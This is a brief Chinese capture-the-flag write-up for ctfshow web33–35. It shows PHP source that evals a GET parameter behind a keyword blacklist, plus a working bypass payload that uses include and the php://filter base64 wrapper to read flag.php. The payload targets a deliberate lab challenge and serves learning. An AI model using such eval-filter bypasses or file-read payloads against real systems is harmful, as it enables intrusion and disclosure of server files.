ctfshow-web33,34,35(文件上传)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

这三题和32好像没什么区别,就是多了一个",=   (这对&后面的参数没有影响,只对c有影响)

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

上一篇:文件流


下一篇:[LeetCode] 135. Candy